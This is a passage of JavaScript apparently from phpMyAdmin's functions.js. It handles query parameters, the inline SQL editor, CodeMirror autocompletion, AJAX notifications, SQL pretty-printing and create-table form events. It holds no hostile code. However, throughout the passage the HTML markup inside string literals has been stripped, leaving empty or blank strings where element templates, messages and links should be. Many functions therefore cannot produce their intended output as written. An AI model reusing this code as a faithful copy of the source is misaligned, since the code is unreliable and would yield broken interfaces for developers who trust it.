($('#parameterized').is(':checked')) { var query = codeMirrorEditor ? codeMirrorEditor.getValue() : $('#sqlquery').val(); var allParameters = query.match(/:[a-zA-Z0-9_]+/g); var parameters = []; // get unique parameters if (allParameters) { $.each(allParameters, function (i, parameter) { if ($.inArray(parameter, parameters) === -1) { parameters.push(parameter); } }); } else { $('#parametersDiv').text(Messages.strNoParam); return; } var $temp = $('
    '); $temp.append($('#parametersDiv').children()); $('#parametersDiv').empty(); $.each(parameters, function (i, parameter) { var paramName = parameter.substring(1); var $param = $temp.find('#paramSpan_' + paramName); if (!$param.length) { $param = $(''); $('').text(parameter).appendTo($param); $('').appendTo($param); } $('#parametersDiv').append($param); }); } else { $('#parametersDiv').empty(); } }; /** * Get checkbox for foreign key checks * * @return {string} */ Functions.getForeignKeyCheckboxLoader = function () { var html = ''; html += '
    '; html += '
    '; html += Functions.getImage('ajax_clock_small'); html += '
    '; html += '
    '; return html; }; Functions.loadForeignKeyCheckbox = function () { // Load default foreign key check value var params = { 'ajax_request': true, 'server': CommonParams.get('server') }; $.get('index.php?route=/sql/get-default-fk-check-value', params, function (data) { var html = '' + '' + ''; $('.load-default-fk-check-value').replaceWith(html); }); }; Functions.getJsConfirmCommonParam = function (elem, parameters) { var $elem = $(elem); var params = parameters; var sep = CommonParams.get('arg_separator'); if (params) { // Strip possible leading ? if (params.substring(0, 1) === '?') { params = params.substr(1); } params += sep; } else { params = ''; } params += 'is_js_confirmed=1' + sep + 'ajax_request=true' + sep + 'fk_checks=' + ($elem.find('#fk_checks').is(':checked') ? 1 : 0); return params; }; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('functions.js', function () { $(document).off('click', 'a.inline_edit_sql'); $(document).off('click', 'input#sql_query_edit_save'); $(document).off('click', 'input#sql_query_edit_discard'); $('input.sqlbutton').off('click'); if (codeMirrorEditor) { codeMirrorEditor.off('blur'); } else { $(document).off('blur', '#sqlquery'); } $(document).off('change', '#parameterized'); $(document).off('click', 'input.sqlbutton'); $('#sqlquery').off('keydown'); $('#sql_query_edit').off('keydown'); if (codeMirrorInlineEditor) { // Copy the sql query to the text area to preserve it. $('#sql_query_edit').text(codeMirrorInlineEditor.getValue()); $(codeMirrorInlineEditor.getWrapperElement()).off('keydown'); codeMirrorInlineEditor.toTextArea(); codeMirrorInlineEditor = false; } if (codeMirrorEditor) { $(codeMirrorEditor.getWrapperElement()).off('keydown'); } }); /** * Jquery Coding for inline editing SQL_QUERY */ AJAX.registerOnload('functions.js', function () { // If we are coming back to the page by clicking forward button // of the browser, bind the code mirror to inline query editor. Functions.bindCodeMirrorToInlineEditor(); $(document).on('click', 'a.inline_edit_sql', function () { if ($('#sql_query_edit').length) { // An inline query editor is already open, // we don't want another copy of it return false; } var $form = $(this).prev('form'); var sqlQuery = $form.find('input[name=\'sql_query\']').val().trim(); var $innerSql = $(this).parent().prev().find('code.sql'); var newContent = '\n'; newContent += Functions.getForeignKeyCheckboxLoader(); newContent += '\n'; newContent += '\n'; var $editorArea = $('div#inline_editor'); if ($editorArea.length === 0) { $editorArea = $('
    '); $editorArea.insertBefore($innerSql); } $editorArea.html(newContent); Functions.loadForeignKeyCheckbox(); $innerSql.hide(); Functions.bindCodeMirrorToInlineEditor(); return false; }); $(document).on('click', 'input#sql_query_edit_save', function () { // hide already existing success message var sqlQuery; if (codeMirrorInlineEditor) { codeMirrorInlineEditor.save(); sqlQuery = codeMirrorInlineEditor.getValue(); } else { sqlQuery = $(this).parent().find('#sql_query_edit').val(); } var fkCheck = $(this).parent().find('#fk_checks').is(':checked'); var $form = $('a.inline_edit_sql').prev('form'); var $fakeForm = $('
    ', { action: 'index.php?route=/import', method: 'post' }).append($form.find('input[name=server], input[name=db], input[name=table], input[name=token]').clone()).append($('', { type: 'hidden', name: 'show_query', value: 1 })).append($('', { type: 'hidden', name: 'is_js_confirmed', value: 0 })).append($('', { type: 'hidden', name: 'sql_query', value: sqlQuery })).append($('', { type: 'hidden', name: 'fk_checks', value: fkCheck ? 1 : 0 })); if (!Functions.checkSqlQuery($fakeForm[0])) { return false; } $('.alert-success').hide(); $fakeForm.appendTo($('body')).trigger('submit'); }); $(document).on('click', 'input#sql_query_edit_discard', function () { var $divEditor = $('div#inline_editor_outer'); $divEditor.siblings('code.sql').show(); $divEditor.remove(); }); $(document).on('click', 'input.sqlbutton', function (evt) { Functions.insertQuery(evt.target.id); Functions.handleSimulateQueryButton(); return false; }); $(document).on('change', '#parameterized', Functions.updateQueryParameters); var $inputUsername = $('#input_username'); if ($inputUsername) { if ($inputUsername.val() === '') { $inputUsername.trigger('focus'); } else { $('#input_password').trigger('focus'); } } }); /** * "inputRead" event handler for CodeMirror SQL query editors for autocompletion * @param instance */ Functions.codeMirrorAutoCompleteOnInputRead = function (instance) { if (!sqlAutoCompleteInProgress && (!instance.options.hintOptions.tables || !sqlAutoComplete)) { if (!sqlAutoComplete) { // Reset after teardown instance.options.hintOptions.tables = false; instance.options.hintOptions.defaultTable = ''; sqlAutoCompleteInProgress = true; var params = { 'ajax_request': true, 'server': CommonParams.get('server'), 'db': CommonParams.get('db'), 'no_debug': true }; var columnHintRender = function (elem, self, data) { $('
    ').text(data.columnName).appendTo(elem); $('
    ').text(data.columnHint).appendTo(elem); }; $.ajax({ type: 'POST', url: 'index.php?route=/database/sql/autocomplete', data: params, success: function (data) { if (data.success) { var tables = JSON.parse(data.tables); sqlAutoCompleteDefaultTable = CommonParams.get('table'); sqlAutoComplete = []; for (var table in tables) { if (tables.hasOwnProperty(table)) { var columns = tables[table]; table = { text: table, columns: [] }; for (var column in columns) { if (columns.hasOwnProperty(column)) { var displayText = columns[column].Type; if (columns[column].Key === 'PRI') { displayText += ' | Primary'; } else if (columns[column].Key === 'UNI') { displayText += ' | Unique'; } table.columns.push({ text: column, displayText: column + ' | ' + displayText, columnName: column, columnHint: displayText, render: columnHintRender }); } } } sqlAutoComplete.push(table); } instance.options.hintOptions.tables = sqlAutoComplete; instance.options.hintOptions.defaultTable = sqlAutoCompleteDefaultTable; } }, complete: function () { sqlAutoCompleteInProgress = false; } }); } else { instance.options.hintOptions.tables = sqlAutoComplete; instance.options.hintOptions.defaultTable = sqlAutoCompleteDefaultTable; } } if (instance.state.completionActive) { return; } var cur = instance.getCursor(); var token = instance.getTokenAt(cur); var string = ''; if (token.string.match(/^[.`\w@]\w*$/)) { string = token.string; } if (string.length > 0) { CodeMirror.commands.autocomplete(instance); } }; /** * Remove autocomplete information before tearing down a page */ AJAX.registerTeardown('functions.js', function () { sqlAutoComplete = false; sqlAutoCompleteDefaultTable = ''; }); /** * Binds the CodeMirror to the text area used to inline edit a query. */ Functions.bindCodeMirrorToInlineEditor = function () { var $inlineEditor = $('#sql_query_edit'); if ($inlineEditor.length > 0) { if (typeof CodeMirror !== 'undefined') { var height = $inlineEditor.css('height'); codeMirrorInlineEditor = Functions.getSqlEditor($inlineEditor); codeMirrorInlineEditor.getWrapperElement().style.height = height; codeMirrorInlineEditor.refresh(); codeMirrorInlineEditor.focus(); $(codeMirrorInlineEditor.getWrapperElement()).on('keydown', Functions.catchKeypressesFromSqlInlineEdit); } else { $inlineEditor.trigger('focus').on('keydown', Functions.catchKeypressesFromSqlInlineEdit); } } }; Functions.catchKeypressesFromSqlInlineEdit = function (event) { // ctrl-enter is 10 in chrome and ie, but 13 in ff if ((event.ctrlKey || event.metaKey) && (event.keyCode === 13 || event.keyCode === 10)) { $('#sql_query_edit_save').trigger('click'); } }; /** * Adds doc link to single highlighted SQL element * * @param $elm * @param params */ Functions.documentationAdd = function ($elm, params) { if (typeof mysqlDocTemplate === 'undefined') { return; } var url = Functions.sprintf(decodeURIComponent(mysqlDocTemplate), params[0]); if (params.length > 1) { // The # needs to be escaped to be part of the destination URL url += encodeURIComponent('#') + params[1]; } var content = $elm.text(); $elm.text(''); $elm.append('' + content + ''); }; /** * Generates doc links for keywords inside highlighted SQL * * @param idx * @param elm */ Functions.documentationKeyword = function (idx, elm) { var $elm = $(elm); /* Skip already processed ones */ if ($elm.find('a').length > 0) { return; } var keyword = $elm.text().toUpperCase(); var $next = $elm.next('.cm-keyword'); if ($next) { var nextKeyword = $next.text().toUpperCase(); var full = keyword + ' ' + nextKeyword; var $next2 = $next.next('.cm-keyword'); if ($next2) { var next2Keyword = $next2.text().toUpperCase(); var full2 = full + ' ' + next2Keyword; if (full2 in mysqlDocKeyword) { Functions.documentationAdd($elm, mysqlDocKeyword[full2]); Functions.documentationAdd($next, mysqlDocKeyword[full2]); Functions.documentationAdd($next2, mysqlDocKeyword[full2]); return; } } if (full in mysqlDocKeyword) { Functions.documentationAdd($elm, mysqlDocKeyword[full]); Functions.documentationAdd($next, mysqlDocKeyword[full]); return; } } if (keyword in mysqlDocKeyword) { Functions.documentationAdd($elm, mysqlDocKeyword[keyword]); } }; /** * Generates doc links for builtins inside highlighted SQL * * @param idx * @param elm */ Functions.documentationBuiltin = function (idx, elm) { var $elm = $(elm); var builtin = $elm.text().toUpperCase(); if (builtin in mysqlDocBuiltin) { Functions.documentationAdd($elm, mysqlDocBuiltin[builtin]); } }; /** * Higlights SQL using CodeMirror. * * @param $base */ Functions.highlightSql = function ($base) { var $elm = $base.find('code.sql'); $elm.each(function () { var $sql = $(this); var $pre = $sql.find('pre'); /* We only care about visible elements to avoid double processing */ if ($pre.is(':visible')) { var $highlight = $('
    '); $sql.append($highlight); if (typeof CodeMirror !== 'undefined') { CodeMirror.runMode($sql.text(), 'text/x-mysql', $highlight[0]); $pre.hide(); $highlight.find('.cm-keyword').each(Functions.documentationKeyword); $highlight.find('.cm-builtin').each(Functions.documentationBuiltin); } } }); }; /** * Updates an element containing code. * * @param {JQuery} $base base element which contains the raw and the * highlighted code. * * @param {string} htmlValue code in HTML format, displayed if code cannot be * highlighted * * @param {string} rawValue raw code, used as a parameter for highlighter * * @return {boolean} whether content was updated or not */ Functions.updateCode = function ($base, htmlValue, rawValue) { var $code = $base.find('code'); if ($code.length === 0) { return false; } // Determines the type of the content and appropriate CodeMirror mode. var type = ''; var mode = ''; if ($code.hasClass('json')) { type = 'json'; mode = 'application/json'; } else if ($code.hasClass('sql')) { type = 'sql'; mode = 'text/x-mysql'; } else if ($code.hasClass('xml')) { type = 'xml'; mode = 'application/xml'; } else { return false; } // Element used to display unhighlighted code. var $notHighlighted = $('
    ' + htmlValue + '
    '); // Tries to highlight code using CodeMirror. if (typeof CodeMirror !== 'undefined') { var $highlighted = $('
    '); CodeMirror.runMode(rawValue, mode, $highlighted[0]); $notHighlighted.hide(); $code.html('').append($notHighlighted, $highlighted[0]); } else { $code.html('').append($notHighlighted); } return true; }; /** * Show a message on the top of the page for an Ajax request * * Sample usage: * * 1) var $msg = Functions.ajaxShowMessage(); * This will show a message that reads "Loading...". Such a message will not * disappear automatically and cannot be dismissed by the user. To remove this * message either the Functions.ajaxRemoveMessage($msg) function must be called or * another message must be show with Functions.ajaxShowMessage() function. * * 2) var $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest); * This is a special case. The behaviour is same as above, * just with a different message * * 3) var $msg = Functions.ajaxShowMessage('The operation was successful'); * This will show a message that will disappear automatically and it can also * be dismissed by the user. * * 4) var $msg = Functions.ajaxShowMessage('Some error', false); * This will show a message that will not disappear automatically, but it * can be dismissed by the user after they have finished reading it. * * @param {string} message string containing the message to be shown. * optional, defaults to 'Loading...' * @param {any} timeout number of milliseconds for the message to be visible * optional, defaults to 5000. If set to 'false', the * notification will never disappear * @param {string} type string to dictate the type of message shown. * optional, defaults to normal notification. * If set to 'error', the notification will show message * with red background. * If set to 'success', the notification will show with * a green background. * @return {JQuery} jQuery Element that holds the message div * this object can be passed to Functions.ajaxRemoveMessage() * to remove the notification */ Functions.ajaxShowMessage = function (message, timeout, type) { var msg = message; var newTimeOut = timeout; /** * @var self_closing Whether the notification will automatically disappear */ var selfClosing = true; /** * @var dismissable Whether the user will be able to remove * the notification by clicking on it */ var dismissable = true; // Handle the case when a empty data.message is passed. // We don't want the empty message if (msg === '') { return true; } else if (!msg) { // If the message is undefined, show the default msg = Messages.strLoading; dismissable = false; selfClosing = false; } else if (msg === Messages.strProcessingRequest) { // This is another case where the message should not disappear dismissable = false; selfClosing = false; } // Figure out whether (or after how long) to remove the notification if (newTimeOut === undefined || newTimeOut === null) { newTimeOut = 5000; } else if (newTimeOut === false) { selfClosing = false; } // Determine type of message, add styling as required if (type === 'error') { msg = ''; } else if (type === 'success') { msg = ''; } // Create a parent element for the AJAX messages, if necessary if ($('#loading_parent').length === 0) { $('
    ').prependTo('#page_content'); } // Update message count to create distinct message elements every time ajaxMessageCount++; // Remove all old messages, if any $('span.ajax_notification[id^=ajax_message_num]').remove(); /** * @var $retval a jQuery object containing the reference * to the created AJAX message */ var $retval = $('').hide().appendTo('#loading_parent').html(msg).show(); // If the notification is self-closing we should create a callback to remove it if (selfClosing) { $retval.delay(newTimeOut).fadeOut('medium', function () { if ($(this).is(':data(tooltip)')) { $(this).uiTooltip('destroy'); } // Remove the notification $(this).remove(); }); } // If the notification is dismissable we need to add the relevant class to it // and add a tooltip so that the users know that it can be removed if (dismissable) { $retval.addClass('dismissable').css('cursor', 'pointer'); /** * Add a tooltip to the notification to let the user know that they * can dismiss the ajax notification by clicking on it. */ Functions.tooltip($retval, 'span', Messages.strDismiss); } // Hide spinner if this is not a loading message if (msg !== Messages.strLoading) { $retval.css('background-image', 'none'); } Functions.highlightSql($retval); return $retval; }; /** * Removes the message shown for an Ajax operation when it's completed * * @param {JQuery} $thisMessageBox Element that holds the notification * * @return {void} */ Functions.ajaxRemoveMessage = function ($thisMessageBox) { if ($thisMessageBox !== undefined && $thisMessageBox instanceof jQuery) { $thisMessageBox.stop(true, true).fadeOut('medium'); if ($thisMessageBox.is(':data(tooltip)')) { $thisMessageBox.uiTooltip('destroy'); } else { $thisMessageBox.remove(); } } }; /** * Requests SQL for previewing before executing. * * @param {JQuery} $form Form containing query data * * @return {void} */ Functions.previewSql = function ($form) { var formUrl = $form.attr('action'); var sep = CommonParams.get('arg_separator'); var formData = $form.serialize() + sep + 'do_save_data=1' + sep + 'preview_sql=1' + sep + 'ajax_request=1'; var $messageBox = Functions.ajaxShowMessage(); $.ajax({ type: 'POST', url: formUrl, data: formData, success: function (response) { Functions.ajaxRemoveMessage($messageBox); if (response.success) { $('#previewSqlModal').modal('show'); $('#previewSqlModal').find('.modal-body').first().html(response.sql_data); $('#previewSqlModalLabel').first().html(Messages.strPreviewSQL); $('#previewSqlModal').on('shown.bs.modal', function () { Functions.highlightSql($('#previewSqlModal')); }); } else { Functions.ajaxShowMessage(response.message); } }, error: function () { Functions.ajaxShowMessage(Messages.strErrorProcessingRequest); } }); }; /** * Callback called when submit/"OK" is clicked on sql preview/confirm modal * * @callback onSubmitCallback * @param {string} url The url */ /** * * @param {string} sqlData Sql query to preview * @param {string} url Url to be sent to callback * @param {onSubmitCallback} callback On submit callback function * * @return {void} */ Functions.confirmPreviewSql = function (sqlData, url, callback) { $('#previewSqlConfirmModal').modal('show'); $('#previewSqlConfirmModalLabel').first().html(Messages.strPreviewSQL); $('#previewSqlConfirmCode').first().text(sqlData); $('#previewSqlConfirmModal').on('shown.bs.modal', function () { Functions.highlightSql($('#previewSqlConfirmModal')); }); $('#previewSQLConfirmOkButton').on('click', function () { callback(url); $('#previewSqlConfirmModal').modal('hide'); }); }; /** * check for reserved keyword column name * * @param {JQuery} $form Form * * @return {boolean} */ Functions.checkReservedWordColumns = function ($form) { var isConfirmed = true; $.ajax({ type: 'POST', url: 'index.php?route=/table/structure/reserved-word-check', data: $form.serialize(), success: function (data) { if (typeof data.success !== 'undefined' && data.success === true) { isConfirmed = confirm(data.message); } }, async: false }); return isConfirmed; }; // This event only need to be fired once after the initial page load $(function () { /** * Allows the user to dismiss a notification * created with Functions.ajaxShowMessage() */ var holdStarter = null; $(document).on('mousedown', 'span.ajax_notification.dismissable', function () { holdStarter = setTimeout(function () { holdStarter = null; }, 250); }); $(document).on('mouseup', 'span.ajax_notification.dismissable', function (event) { if (holdStarter && event.which === 1) { clearTimeout(holdStarter); Functions.ajaxRemoveMessage($(this)); } }); /** * The below two functions hide the "Dismiss notification" tooltip when a user * is hovering a link or button that is inside an ajax message */ $(document).on('mouseover', 'span.ajax_notification a, span.ajax_notification button, span.ajax_notification input', function () { if ($(this).parents('span.ajax_notification').is(':data(tooltip)')) { $(this).parents('span.ajax_notification').uiTooltip('disable'); } }); $(document).on('mouseout', 'span.ajax_notification a, span.ajax_notification button, span.ajax_notification input', function () { if ($(this).parents('span.ajax_notification').is(':data(tooltip)')) { $(this).parents('span.ajax_notification').uiTooltip('enable'); } }); /** * Copy text to clipboard * * @param {string | number | string[]} text to copy to clipboard * * @return {boolean} */ Functions.copyToClipboard = function (text) { var $temp = $(''); $temp.css({ 'position': 'fixed', 'width': '2em', 'border': 0, 'top': 0, 'left': 0, 'padding': 0, 'background': 'transparent' }); $('body').append($temp); $temp.val(text).trigger('select'); try { var res = document.execCommand('copy'); $temp.remove(); return res; } catch (e) { $temp.remove(); return false; } }; $(document).on('click', 'a.copyQueryBtn', function (event) { event.preventDefault(); var res = Functions.copyToClipboard($(this).attr('data-text')); if (res) { $(this).after(' (' + Messages.strCopyQueryButtonSuccess + ')'); } else { $(this).after(' (' + Messages.strCopyQueryButtonFailure + ')'); } setTimeout(function () { $('#copyStatus').remove(); }, 2000); }); }); /** * Hides/shows the "Open in ENUM/SET editor" message, depending on the data type of the column currently selected * * @param selectElement */ Functions.showNoticeForEnum = function (selectElement) { var enumNoticeId = selectElement.attr('id').split('_')[1]; enumNoticeId += '_' + (parseInt(selectElement.attr('id').split('_')[2], 10) + 1); var selectedType = selectElement.val(); if (selectedType === 'ENUM' || selectedType === 'SET') { $('p#enum_notice_' + enumNoticeId).show(); } else { $('p#enum_notice_' + enumNoticeId).hide(); } }; /** * Hides/shows a warning message when LENGTH is used with inappropriate integer type */ Functions.showWarningForIntTypes = function () { if ($('div#length_not_allowed').length) { var lengthRestrictions = $('select.column_type option').map(function () { return $(this).filter(':selected').attr('data-length-restricted'); }).get(); var restricationFound = lengthRestrictions.some(restriction => Number(restriction) === 1); if (restricationFound) { $('div#length_not_allowed').show(); } else { $('div#length_not_allowed').hide(); } } }; /** * Creates a Profiling Chart. Used in sql.js * and in server/status/monitor.js * * @param target * @param data * * @return {object} */ Functions.createProfilingChart = function (target, data) { // create the chart var factory = new JQPlotChartFactory(); var chart = factory.createChart(ChartType.PIE, target); // create the data table and add columns var dataTable = new DataTable(); dataTable.addColumn(ColumnType.STRING, ''); dataTable.addColumn(ColumnType.NUMBER, ''); dataTable.setData(data); var windowWidth = $(window).width(); var location = 's'; if (windowWidth > 768) { location = 'se'; } // draw the chart and return the chart object chart.draw(dataTable, { seriesDefaults: { rendererOptions: { showDataLabels: true } }, highlighter: { tooltipLocation: 'se', sizeAdjust: 0, tooltipAxes: 'pieref', formatString: '%s, %.9Ps' }, legend: { show: true, location: location, rendererOptions: { numberColumns: 2 } }, // from https://web.archive.org/web/20190321233412/http://tango.freedesktop.org/Tango_Icon_Theme_Guidelines seriesColors: ['#fce94f', '#fcaf3e', '#e9b96e', '#8ae234', '#729fcf', '#ad7fa8', '#ef2929', '#888a85', '#c4a000', '#ce5c00', '#8f5902', '#4e9a06', '#204a87', '#5c3566', '#a40000', '#babdb6', '#2e3436'] }); return chart; }; /** * Formats a profiling duration nicely (in us and ms time). * Used in server/status/monitor.js * * @param {number} number Number to be formatted, should be in the range of microsecond to second * @param {number} accuracy Accuracy, how many numbers right to the comma should be * @return {string} The formatted number */ Functions.prettyProfilingNum = function (number, accuracy) { var num = number; var acc = accuracy; if (!acc) { acc = 2; } acc = Math.pow(10, acc); if (num * 1000 < 0.1) { num = Math.round(acc * (num * 1000 * 1000)) / acc + 'µ'; } else if (num < 0.1) { num = Math.round(acc * (num * 1000)) / acc + 'm'; } else { num = Math.round(acc * num) / acc; } return num + 's'; }; /** * Formats a SQL Query nicely with newlines and indentation. Depends on Codemirror and MySQL Mode! * * @param {string} string Query to be formatted * @return {string} The formatted query */ Functions.sqlPrettyPrint = function (string) { if (typeof CodeMirror === 'undefined') { return string; } var mode = CodeMirror.getMode({}, 'text/x-mysql'); var stream = new CodeMirror.StringStream(string); var state = mode.startState(); var token; var tokens = []; var output = ''; var tabs = function (cnt) { var ret = ''; for (var i = 0; i < 4 * cnt; i++) { ret += ' '; } return ret; }; // "root-level" statements var statements = { 'select': ['select', 'from', 'on', 'where', 'having', 'limit', 'order by', 'group by'], 'update': ['update', 'set', 'where'], 'insert into': ['insert into', 'values'] }; // don't put spaces before these tokens var spaceExceptionsBefore = { ';': true, ',': true, '.': true, '(': true }; // don't put spaces after these tokens var spaceExceptionsAfter = { '.': true }; // Populate tokens array while (!stream.eol()) { stream.start = stream.pos; token = mode.token(stream, state); if (token !== null) { tokens.push([token, stream.current().toLowerCase()]); } } var currentStatement = tokens[0][1]; if (!statements[currentStatement]) { return string; } // Holds all currently opened code blocks (statement, function or generic) var blockStack = []; // If a new code block is found, newBlock contains its type for one iteration and vice versa for endBlock var newBlock; var endBlock; // How much to indent in the current line var indentLevel = 0; // Holds the "root-level" statements var statementPart; var lastStatementPart = statements[currentStatement][0]; blockStack.unshift('statement'); // Iterate through every token and format accordingly for (var i = 0; i < tokens.length; i++) { // New block => push to stack if (tokens[i][1] === '(') { if (i < tokens.length - 1 && tokens[i + 1][0] === 'statement-verb') { blockStack.unshift(newBlock = 'statement'); } else if (i > 0 && tokens[i - 1][0] === 'builtin') { blockStack.unshift(newBlock = 'function'); } else { blockStack.unshift(newBlock = 'generic'); } } else { newBlock = null; } // Block end => pop from stack if (tokens[i][1] === ')') { endBlock = blockStack[0]; blockStack.shift(); } else { endBlock = null; } // A subquery is starting if (i > 0 && newBlock === 'statement') { indentLevel++; output += '\n' + tabs(indentLevel) + tokens[i][1] + ' ' + tokens[i + 1][1].toUpperCase() + '\n' + tabs(indentLevel + 1); currentStatement = tokens[i + 1][1]; i++; continue; } // A subquery is ending if (endBlock === 'statement' && indentLevel > 0) { output += '\n' + tabs(indentLevel); indentLevel--; } // One less indentation for statement parts (from, where, order by, etc.) and a newline statementPart = statements[currentStatement].indexOf(tokens[i][1]); if (statementPart !== -1) { if (i > 0) { output += '\n'; } output += tabs(indentLevel) + tokens[i][1].toUpperCase(); output += '\n' + tabs(indentLevel + 1); lastStatementPart = tokens[i][1]; // Normal indentation and spaces for everything else } else { if (!spaceExceptionsBefore[tokens[i][1]] && !(i > 0 && spaceExceptionsAfter[tokens[i - 1][1]]) && output.charAt(output.length - 1) !== ' ') { output += ' '; } if (tokens[i][0] === 'keyword') { output += tokens[i][1].toUpperCase(); } else { output += tokens[i][1]; } } // split columns in select and 'update set' clauses, but only inside statements blocks if ((lastStatementPart === 'select' || lastStatementPart === 'where' || lastStatementPart === 'set') && tokens[i][1] === ',' && blockStack[0] === 'statement') { output += '\n' + tabs(indentLevel + 1); } // split conditions in where clauses, but only inside statements blocks if (lastStatementPart === 'where' && (tokens[i][1] === 'and' || tokens[i][1] === 'or' || tokens[i][1] === 'xor')) { if (blockStack[0] === 'statement') { output += '\n' + tabs(indentLevel + 1); } // Todo: Also split and or blocks in newlines & indentation++ // if (blockStack[0] === 'generic') // output += ... } } return output; }; /** * jQuery function that uses jQueryUI's dialogs to confirm with user. Does not * return a jQuery object yet and hence cannot be chained * * @param {string} question * @param {string} url URL to be passed to the callbackFn to make * an Ajax call to * @param {Function} callbackFn callback to execute after user clicks on OK * @param {Function} openCallback optional callback to run when dialog is shown * * @return {bool} */ Functions.confirm = function (question, url, callbackFn, openCallback) { var confirmState = CommonParams.get('confirm'); if (!confirmState) { // user does not want to confirm if (typeof callbackFn === 'function') { callbackFn.call(this, url); return true; } } if (Messages.strDoYouReally === '') { return true; } /** * @var button_options Object that stores the options passed to jQueryUI * dialog */ var buttonOptions = [{ text: Messages.strOK, 'class': 'btn btn-primary submitOK', click: function () { $(this).dialog('close'); if (typeof callbackFn === 'function') { callbackFn.call(this, url); } } }, { text: Messages.strCancel, 'class': 'btn btn-secondary submitCancel', click: function () { $(this).dialog('close'); } }]; $('
    ', { 'id': 'confirm_dialog', 'title': Messages.strConfirm }).prepend(question).dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, buttons: buttonOptions, close: function () { $(this).remove(); }, open: openCallback, modal: true }); }; jQuery.fn.confirm = Functions.confirm; /** * jQuery function to sort a table's body after a new row has been appended to it. * * @param {string} textSelector string to select the sortKey's text * * @return {JQuery} for chaining purposes */ Functions.sortTable = function (textSelector) { return this.each(function () { /** * @var table_body Object referring to the table's element */ var tableBody = $(this); /** * @var rows Object referring to the collection of rows in {@link tableBody} */ var rows = $(this).find('tr').get(); // get the text of the field that we will sort by $.each(rows, function (index, row) { row.sortKey = $(row).find(textSelector).text().toLowerCase().trim(); }); // get the sorted order rows.sort(function (a, b) { if (a.sortKey < b.sortKey) { return -1; } if (a.sortKey > b.sortKey) { return 1; } return 0; }); // pull out each row from the table and then append it according to it's order $.each(rows, function (index, row) { $(tableBody).append(row); row.sortKey = null; }); }); }; jQuery.fn.sortTable = Functions.sortTable; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('functions.js', function () { $(document).off('submit', 'form.create_table_form.ajax'); $(document).off('click', 'form.create_table_form.ajax input[name=submit_num_fields]'); $(document).off('keyup', 'form.create_table_form.ajax input'); $(document).off('change', 'input[name=partition_count],input[name=subpartition_count],select[name=partition_by]'); }); /** * jQuery coding for 'Create Table'. Used on /database/operations, * /database/structure and /database/tracking (i.e., wherever * PhpMyAdmin\Display\CreateTable is used) * * Attach Ajax Event handlers for Create Table */ AJAX.registerOnload('functions.js', function () { /** * Attach event handler for submission of create table form (save) */ $(document).on('submit', 'form.create_table_form.ajax', function (event) { event.preventDefault(); /** * @var the_form object referring to the create table form */ var $form = $(this); /* * First validate the form; if there is a problem, avoid submitting it * * Functions.checkTableEditForm() needs a pure element and not a jQuery object, * this is why we pass $form[0] as a parameter (the jQuery object * is actually an array of DOM elements) */ if (Functions.checkTableEditForm($form[0], $form.find('input[name=orig_num_fields]').val())) { Functions.prepareForAjaxRequest($form); if (Functions.checkReservedWordColumns($form)) { Functions.ajaxShowMessage(Messages.strProcessingRequest); // User wants to submit the form $.post($form.attr('action'), $form.serialize() + CommonParams.get('arg_separator') + 'do_save_data=1', function (data) { if (typeof data !== 'undefined' && data.success === true) { $('#properties_message').removeClass('alert-danger').html(''); Functions.ajaxShowMessage(data.message); // Only if the create table dialog (distinct panel) exists var $createTableDialog = $('#create_table_dialog'); if ($createTableDialog.length > 0) { $createTableDialog.dialog('close').remove(); } $('#tableslistcontainer').before(data.formatted_sql); /** * @var tables_table Object referring to the element that holds the list of tables */ var tablesTable = $('#tablesForm').find('tbody').not('#tbl_summary_row'); // this is the first table created in this db if (tablesTable.length === 0) { CommonActions.refreshMain(CommonParams.get('opendb_url')); } else { /** * @var curr_last_row Object referring to the last element in {@link tablesTable} */ var currLastRow = $(tablesTable).find('tr').last(); /** * @var curr_last_row_index_string String containing the index of {@link currLastRow} */ var currLastRowIndexString = $(currLastRow).find('input:checkbox').attr('id').match(/\d+/)[0]; /** * @var curr_last_row_index Index of {@link currLastRow} */ var currLastRowIndex = parseFloat(currLastRowIndexString); /** * @var new_last_row_index Index of the new row to be appended to {@link tablesTable} */ var newLastRowIndex = currLastRowIndex + 1; /** * @var new_last_row_id String containing the id of the row to be appended to {@link tablesTable} */ var newLastRowId = 'checkbox_tbl_' + newLastRowIndex; data.newTableString = data.newTableString.replace(/checkbox_tbl_/, newLastRowId); // append to table $(data.newTableString).appendTo(tablesTable); // Sort the table $(tablesTable).sortTable('th'); // Adjust summary row DatabaseStructure.adjustTotals(); } // Refresh navigation as a new table has been added Navigation.reload(); // Redirect to table structure page on creation of new table var argsep = CommonParams.get('arg_separator'); var params12 = 'ajax_request=true' + argsep + 'ajax_page_request=true'; var tableStructureUrl = 'index.php?route=/table/structure' + argsep + 'server=' + data.params.server + argsep + 'db=' + data.params.db + argsep + 'token=' + data.params.token + argsep + 'goto=' + encodeURIComponent('index.php?route=/database/structure') + argsep + 'table=' + data.params.table + ''; $.get(tableStructureUrl, params12, AJAX.responseHandler); } else { Functions.ajaxShowMessage('', false); } }); // end $.post() } } }); // end create table form (save) /** * Submits the intermediate changes in the table creation form * to refresh the UI accordingly * * @param actionParam */ function submitChangesInCreateTableForm(actionParam) { /** * @var the_form object referring to the create table form */ var $form = $('form.create_table_form.ajax'); var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); Functions.prepareForAjaxRequest($form); // User wants to add more fields to the table $.post($form.attr('action'), $form.serialize() + '&' + actionParam, function (data) { if (typeof data !== 'undefined' && data.success) { var $pageContent = $('#page_content'); $pageContent.html(data.message); Functions.highlightSql($pageContent); Functions.verifyColumnsProperties(); Functions.hideShowConnection($('.create_table_form select[name=tbl_storage_engine]')); Functions.ajaxRemoveMessage($msgbox); } else { Functions.ajaxShowMessage(data.error); } }); // end $.post() } /** * Attach event handler for create table form (add fields) */ $(document).on('click', 'form.create_table_form.ajax input[name=submit_num_fields]', function (event) { event.preventDefault(); submitChangesInCreateTableForm('submit_num_fields=1'); }); // end create table form (add fields) $(document).on('keydown', 'form.create_table_form.ajax input[name=added_fields]', function (event) { if (event.keyCode === 13) { event.preventDefault(); event.stopImmediatePropagation(); $(this).closest('form').find('input[name=submit_num_fields]').trigger('click'); } }); /** * Attach event handler to manage changes in number of partitions and subpartitions */ $(document).on('change', 'input[name=partition_count],input[name=subpartition_count],select[name=partition_by]', function () { var $this = $(this); var $form = $this.parents('form'); if ($form.is('.create_table_form.ajax')) { 